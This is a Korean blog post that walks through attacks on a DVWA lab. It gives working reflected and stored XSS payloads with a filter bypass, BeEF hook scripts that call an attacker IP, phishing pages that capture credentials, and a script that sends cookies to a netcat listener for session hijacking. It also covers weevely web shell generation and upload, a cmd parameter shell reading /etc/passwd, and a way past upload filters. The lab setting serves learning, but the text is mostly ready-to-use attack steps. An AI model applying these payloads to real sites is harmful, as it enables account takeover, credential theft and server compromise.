XSS 공격 종류

  • Persistent XSS(stored XSS)  
  • Non-persistent XSS(reflected XSS) 
  • DOM-Based XSS

 

 

[reflected XSS] 

url을 통해 스크립트를 실행시킨다.

 

 

[보안레벨 low]

위의 소스를 바탕으로 하는 실습이다.

 

이소스를 meta에 넣어보면,

<script language="JavaScript">alert ("Welcome");</script> 

 

이런식으로 출력 된다.

 

아래 문장을 실행하게 되면 쿠키값을 볼 수 있게된다.

 

http://meta/dvwa/vulnerabilities/xss_r/?name=<script>alert(document.cookie);</script>#

 

www.w3.org사이트로 이동되게하는 스크립트

http://meta/dvwa/vulnerabilities/xss_r/?name=<script>alert(document.location.href="https://www.w3.org");</script>#

 

 

[보안레벨 medium]

 

http://meta/dvwa/vulnerabilities/xss_r/?name=<script>alert("Welcome to the world")+;</script># 

script를 replace하기때문에 실행이 되지 않는다.

 

http://meta/dvwa/vulnerabilities/xss_r/?name=<script+language="JavaScript">alert("Welcome to the world")+;</script>#

따라서 language="JavaScript"를 넣어주면 script만 필터링하던 값을 벗어나게 되므로 실행이 된다.

위에서 했던 쿠키값을 medium난이도에서 보려면 아래와 같이 입력.

http://meta/dvwa/vulnerabilities/xss_r/?name=<script+language="JavaScript">alert(document.cookie);</script>#

 

[보안레벨 high]

모든 url공격이 통하지 않는다. htmlspecialchars가 보호하기 때문이다.

 

 

 

위에는 직접 url에 입력함으로써 취약점을 찾아보았다. 이번엔 프로그램을 사용해서 XSS를 해보겠다.

[BeFF]

  Web UI: http://127.0.0.1:3000/ui/panel 
   Hook:  <script src="http://:3000/hook.js"></script>
 Example: <script src="http://[공격자ip]:3000/hook.js"></script> //공격 코드 

 

 

1.prepare the Script

<script src="http://192.168.232.100:3000/hook.js"></script>  //열린3000포트로 공격

2 BeFF

로그인 기본값 id beef pw beef  

맨처음 이미지.

 

 

3. 

192.168.232.131 //메타스플로잇 ip

192.168.232.140 //칼리 ip
url에 실행.

http://meta/dvwa/vulnerabilities/xss_r/?name=<script src="http://192.168.232.140:3000/hook.js"></script>#

공격자에게 자신의 ip와 다른 정보들이 들어가게된다.

pretty theft //상대방을 속여서 ip와 pw을 얻는 방법.

공격 대상자에게 페이스북에 관련된 화면이 출력된다 .

 

여기에 공격대상자는 이메일과 password를 입력하게되면,
위의 이미지와 같이 입력된 값이 공격자에게 보이게 된다.


[stored XSS]

 

 

1. 메시지창의 크기를 늘린다.

2. 저장 게시판에 스크립트 저장.

 

게시판에

Name : Admin

Message :

<script src="http://192.168.232.140:3000/hook.js"></script>

스크립트는 화면에 출력되지 않는다.
따라서 View Page Source를 통해 확인해본다. 스크립트가 잘 들어가있는지.

 

3. windows 10 에서 접속.

http://192.168.232.131/dvwa 로 접속

 

Xss  stored를 들어오게 되는 순간, 공격자에게 정보가 들어가게 된다.

4. 피싱사이트

공격자가 띄운 구글화면이다. 이화면에 아이디와 패스워드를 입력하게 되면
이런식으로 입력한 값이 공격자에게 넘어간다.

 

[세션 하이재킹]

 

1. beef로 얻어온 192.168.232.150 의 정보에서 세션을 복사한다.

 4ae7fd30d9efc30d1f105940b7ad4d60

 

2. burp-startburp에서 인터셉스를 키고 meta에 접속 //칼리에서

3. 접속해서 나온 세션 값을 1번의 세션 값과 , 보안 설정을 low로 해야 테스트가 잘되므로, 바꿔준다.

4. 변경한 후, forward를 클릭하면 192.168.232.150의 세션으로 들어가져, 로그인을 하지 않아도 로그인 상태가 된다.

 

[세션 하이재킹의 다른 방법]

 

 

공격대상자가 공격자에게 접속했을 때 쿠키값을 바로 띄우는 코드

 

1. netcat으로 포트 개방

nc -vvlp 80

 

2. 게시글 작성.

Could you help me out? I've got some problems to explore this web site. //아무 평문입력.

<img name='i' width='0' height='0' </img>  //가로 세로 길이를 0으로해 스크립트를 가림.

<script>i.src='http://192.168.232.140/help.php?'+document.cookie</script>//공격자 ip

 

 

스크립트는 보이지 않는다.

3. 공격대상자에서 게시글을 확인.

4. nc에 쿠키값이 들어온 것을 확인.

5. 첫번째에 했던 방법대로 burp-startburp 에서 인터셉트를 키고 세션값을 바꿔 forward한다.

PHPSESSID를 탈취한 세션값으로 변경.

 

6. 세션을 탈취해 아래와 같이 로그인을 하지 않고 로그인이 된 것을 볼 수 있다.

 

 

 

[weevely]

web shell 만드는 툴

weevely generate 1234 ./shell.php    //shell.php로 생성 1234는 비번

생성된 web shell의 값

 

1.  만든 쉘을 업로드를 한다.

업로드 성공한 화면.

2. 쉘이 세션을 탈취.

weevely http://meta/dvwa/hackable/uploads/shell.php 1234 

탈취에 성공한 모습.

 

[url을 통해 shell적용]

1. weevely generate 1234 ./shell-1.php    //생성

vi shell-1.php 

맨밑에 

system($system($_GET['cmd']); 추가

 

2. shell-1.php  업로드

3. url을 통해 직접 입력.

http://meta/dvwa/hackable/uploads/shell-1.php?cmd=cat%20/../../../../etc/passwd

cmd문장을 추가했기때문에 cat명령을통해 화면에 출력된다.

 

 

[php 업로드 안되는 것을, 업로드하는법]

 

1. php가 업로드가 안되는 화면.

2. php를 jpg로 변환해서 업로드.

3.burp-start burp를 통해 jpg를 php로 변환해서 업로드.

jpg를 php로 변환

 

jpg로 올린것을 php로 변환해 업로드가 된것을 확인할 수 있다.

'Web Security' 카테고리의 다른 글

brute force 공격  (0) 2019.04.02
crunch [사전파일생성]  (0) 2019.04.02
RFI(Remote File Inclusion)  (0) 2019.03.27
LFI(Local File Inclusion)  (0) 2019.03.26
정보수집(maltego와 dirb스캐닝)  (0) 2019.03.25

+ Recent posts